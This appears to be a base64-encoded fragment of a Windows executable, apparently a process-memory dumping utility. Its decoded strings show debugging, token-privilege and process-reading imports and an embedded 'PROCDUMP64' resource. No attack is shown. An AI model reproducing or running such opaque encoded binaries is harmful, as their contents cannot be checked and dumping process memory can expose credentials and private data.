AfDgEAJQ4BACoOAQAyjgEAPY1BAD8OAQADjkEAB45BAA4OQQASjkEAF45BAB6OQQAkDkEAJ45BACuOQQAvDkEAMw5BADaOQQA7DkEAAA6BAASOgQAJjoEADo6BABKOgQAXDoEANRABADGQAQArEAEAJJABAB4QAQAXkAEAExABAA8QAQAKEAEABxABADSPgQACkAEAPg/BADuPwQA6jUEANI1BAC6NQQAqjUEAJQ1BAB6NQQAiDUEAFo1BABsNQQASjUEADo1BAAmNQQAFDUEAAQ1BADkQAQA+kAEAApBBADkPgQA8D4EAPw+BADkOAQAGkEEAOA/BADSPwQAxj8EAJ4/BACAPwQAZD8EAFg/BABGPwQAMD8EACQ/BAAYPwQACj4EABo+BAAqPgQANj4EAEI+BABUPgQAaD4EAHo+BACQPgQApj4EALY+BAAOPwQAAAAAAHg0BABiNAQATDQEAAAAAAAYPQQAAAAAAOw0BAAAAAAAnjoEAI46BAB8OgQAvjoEAMw6BADaOgQA6DoEALI6BAAcOwQAajsEAFg7BAA4OwQASjsEAA47BAACOwQAAAAAAJ40BADONAQAtDQEAAAAAAB8PQQAXj0EADo9BABMPQQAkD0EAAAAAADaPQQArD0EAMo9BADsPQQAAAAAAA4AR2V0TW9kdWxlQmFzZU5hbWVXAAAEAEVudW1Qcm9jZXNzTW9kdWxlcwAAFABHZXRQcm9jZXNzSW1hZ2VGaWxlTmFtZVcAAFBTQVBJLkRMTAAGAEdldEZpbGVWZXJzaW9uSW5mb1cABQBHZXRGaWxlVmVyc2lvbkluZm9TaXplVwAOAFZlclF1ZXJ5VmFsdWVXAABWRVJTSU9OLmRsbABFAVN0clN0cklXAABTSExXQVBJLmRsbACFAENyZWF0ZUV2ZW50VwAAhwFHZXRDb21tYW5kTGluZVcAGAJHZXRNb2R1bGVIYW5kbGVXAAA/A0xvYWRMaWJyYXJ5VwAAZAJHZXRTdGRIYW5kbGUAAEUCR2V0UHJvY0FkZHJlc3MAAEQDTG9jYWxBbGxvYwAA8wFHZXRGaWxlVHlwZQBIA0xvY2FsRnJlZQAUAkdldE1vZHVsZUZpbGVOYW1lVwAApAJHZXRWZXJzaW9uRXhXAO8CSW50ZXJsb2NrZWRJbmNyZW1lbnQAAOsCSW50ZXJsb2NrZWREZWNyZW1lbnQAAFkEU2V0RXZlbnQAADkDTGVhdmVDcml0aWNhbFNlY3Rpb24AAO4ARW50ZXJDcml0aWNhbFNlY3Rpb24AAFIAQ2xvc2VIYW5kbGUA+QRXYWl0Rm9yU2luZ2xlT2JqZWN0ALIEU2xlZXAA0QBEZWxldGVDcml0aWNhbFNlY3Rpb24AhgJHZXRUaHJlYWRDb250ZXh0AACTAkdldFRpY2tDb3VudAAAwwNSZWFkUHJvY2Vzc01lbW9yeQCFA09wZW5UaHJlYWQAAMUARGVidWdBY3RpdmVQcm9jZXNzAADGAERlYnVnQWN0aXZlUHJvY2Vzc1N0b3AAAE4BRmluZFJlc291cmNlVwBiAUZyZWVMaWJyYXJ5AEEDTG9hZFJlc291cmNlAACoAENyZWF0ZVByb2Nlc3NXAADAAUdldEN1cnJlbnRQcm9jZXNzAOICSW5pdGlhbGl6ZUNyaXRpY2FsU2VjdGlvbgCAA09wZW5Qcm9jZXNzALEEU2l6ZW9mUmVzb3VyY2UAAN8BR2V0RXhpdENvZGVQcm9jZXNzAADqAUdldEZpbGVBdHRyaWJ1dGVzVwAAAgJHZXRMYXN0RXJyb3IAAHMEU2V0TGFzdEVycm9yAABUA0xvY2tSZXNvdXJjZQAAZwBDb250aW51ZURlYnVnRXZlbnQAAPYEV2FpdEZvckRlYnVnRXZlbnQA1gBEZWxldGVGaWxlVwATBFJlc3VtZVRocmVhZAAAtQBDcmVhdGVUaHJlYWQAAB0BRXhwYW5kRW52aXJvbm1lbnRTdHJpbmdzVwBeAUZvcm1hdE1lc3NhZ2VXAABnA011bHRpQnl0ZVRvV2lkZUNoYXIAwARUZXJtaW5hdGVQcm9jZXNzAAAtBFNldENvbnNvbGVDdHJsSGFuZGxlcgD7AUdldEZ1bGxQYXRoTmFtZVcAAL4EU3lzdGVtVGltZVRvVHpTcGVjaWZpY0xvY2FsVGltZQDbAUdldEVudmlyb25tZW50VmFyaWFibGVBAL8BR2V0Q3VycmVudERpcmVjdG9yeVcAAJYDUHJvY2VzczMyRmlyc3RXAHMCR2V0U3lzdGVtSW5mbwD3BFdhaXRGb3JNdWx0aXBsZU9iamVjdHMAAJgDUHJvY2VzczMyTmV4dFcAAAADSXNEZWJ1Z2dlclByZXNlbnQAvgBDcmVhdGVUb29saGVscDMyU25hcHNob3QAAMEBR2V0Q3VycmVudFByb2Nlc3NJZADHAERlYnVnQnJlYWsAAHcCR2V0U3lzdGVtVGltZQCPAENyZWF0ZUZpbGVXAPEBR2V0RmlsZVNpemVFeAAZAUV4aXRQcm9jZXNzAMgBR2V0RGF0ZUZvcm1hdFcAAGcEU2V0RmlsZVBvaW50ZXJFeAAAlwJHZXRUaW1lRm9ybWF0VwAA/gNSZWxlYXNlU2VtYXBob3JlAACuAENyZWF0ZVNlbWFwaG9yZVcAAEwCR2V0UHJvY2Vzc0lkAADdAERldmljZUlvQ29udHJvbADyBFZpcnR1YWxRdWVyeUV4AABLRVJORUwzMi5kbGwAAMsCU2V0V2luZG93VGV4dFcAAHwCU2VuZE1lc3NhZ2VXAAB8AUdldFN5c0NvbG9yQnJ1c2gAANoARW5kRGlhbG9nACcBR2V0RGxnSXRlbQAAtQFJbmZsYXRlUmVjdADrAUxvYWRDdXJzb3JXAKoARGlhbG9nQm94SW5kaXJlY3RQYXJhbVcAiAJTZXRDdXJzb3IA+QFMb2FkU3RyaW5nQQCkAUdldFdpbmRvd1RocmVhZFByb2Nlc3NJZAAA4AFJc1dpbmRvd1Zpc2libGUA8gBFbnVtV2luZG93cwDQAUlzSHVuZ0FwcFdpbmRvdwAzA3dzcHJpbnRmVwBVU0VSMzIuZGxsAADvAEVuZERvYwAAsAJTdGFydERvY1cAlAJTZXRNYXBNb2RlAADLAUdldERldmljZUNhcHMAsgJTdGFydFBhZ2UA8gBFbmRQYWdlAEdESTMyLmRsbAAVAFByaW50RGxnVwBDT01ETEczMi5kbGwAAGQCUmVnQ3JlYXRlS2V5VwCWAlJlZ1F1ZXJ5VmFsdWVFeFcAAIwCUmVnT3BlbktleVcAiQJSZWdPcGVuS2V5RXhXAFgCUmVnQ2xvc2VLZXkApgJSZWdTZXRWYWx1ZUV4VwAAYQJSZWdDcmVhdGVLZXlFeFcAbAJSZWdEZWxldGVLZXlXAHACUmVnRGVsZXRlVmFsdWVXABICT3BlblByb2Nlc3NUb2tlbgAArQFMb29rdXBQcml2aWxlZ2VWYWx1ZVcAHwBBZGp1c3RUb2tlblByaXZpbGVnZXMAZQBDbG9zZVNlcnZpY2VIYW5kbGUAABQCT3BlblNDTWFuYWdlclcAABIBRW51bVNlcnZpY2VzU3RhdHVzRXhXAEFEVkFQSTMyLmRsbAAABgBDb21tYW5kTGluZVRvQXJndlcAAFNIRUxMMzIuZGxsAGwAQ29VbmluaXRpYWxpemUAAD8AQ29Jbml0aWFsaXplRXgAAAoAQ29BbGxvd1NldEZvcmVncm91bmRXaW5kb3cAABAAQ29DcmVhdGVJbnN0YW5jZQAACABDTFNJREZyb21TdHJpbmcAb2xlMzIuZGxsAEEAUGRoR2V0Rm9ybWF0dGVkQ291bnRlclZhbHVlAFcAUGRoT3BlblF1ZXJ5VwADAFBkaEFkZENvdW50ZXJXAAASAFBkaENvbGxlY3RRdWVyeURhdGEAcGRoLmRsbADqAEVuY29kZVBvaW50ZXIAygBEZWNvZGVQb2ludGVyAM8CSGVhcEZyZWUAAMsCSGVhcEFsbG9jAKwBR2V0Q29uc29sZU1vZGUAALUDUmVhZENvbnNvbGVJbnB1dEEAPQRTZXRDb25zb2xlTW9kZQAAFwJHZXRNb2R1bGVIYW5kbGVFeFcAABEFV2lkZUNoYXJUb011bHRpQnl0ZQCHBFNldFN0ZEhhbmRsZQAABANJc1Byb2Nlc3NvckZlYXR1cmVQcmVzZW50ALEDUmFpc2VFeGNlcHRpb24AABgEUnRsVW53aW5kANQCSGVhcFNpemUAAAoDSXNWYWxpZENvZGVQYWdlAGgBR2V0QUNQAAA3AkdldE9FTUNQAAByAUdldENQSW5mbwDFAUdldEN1cnJlbnRUaHJlYWRJZAAASgJHZXRQcm9jZXNzSGVhcAAAJQVXcml0ZUZpbGUA0wRVbmhhbmRsZWRFeGNlcHRpb25GaWx0ZXIAAKUEU2V0VW5oYW5kbGVkRXhjZXB0aW9uRmlsdGVyAOMCSW5pdGlhbGl6ZUNyaXRpY2FsU2VjdGlvbkFuZFNwaW5Db3VudADFBFRsc0FsbG9jAADHBFRsc0dldFZhbHVlAMgEVGxzU2V0VmFsdWUAxgRUbHNGcmVlAGMCR2V0U3RhcnR1cEluZm9XAD4DTG9hZExpYnJhcnlFeFcAAMADUmVhZEZpbGUAAFcBRmx1c2hGaWxlQnVmZmVycwAAmgFHZXRDb25zb2xlQ1AAAGkCR2V0U3RyaW5nVHlwZVcAAKcDUXVlcnlQZXJmb3J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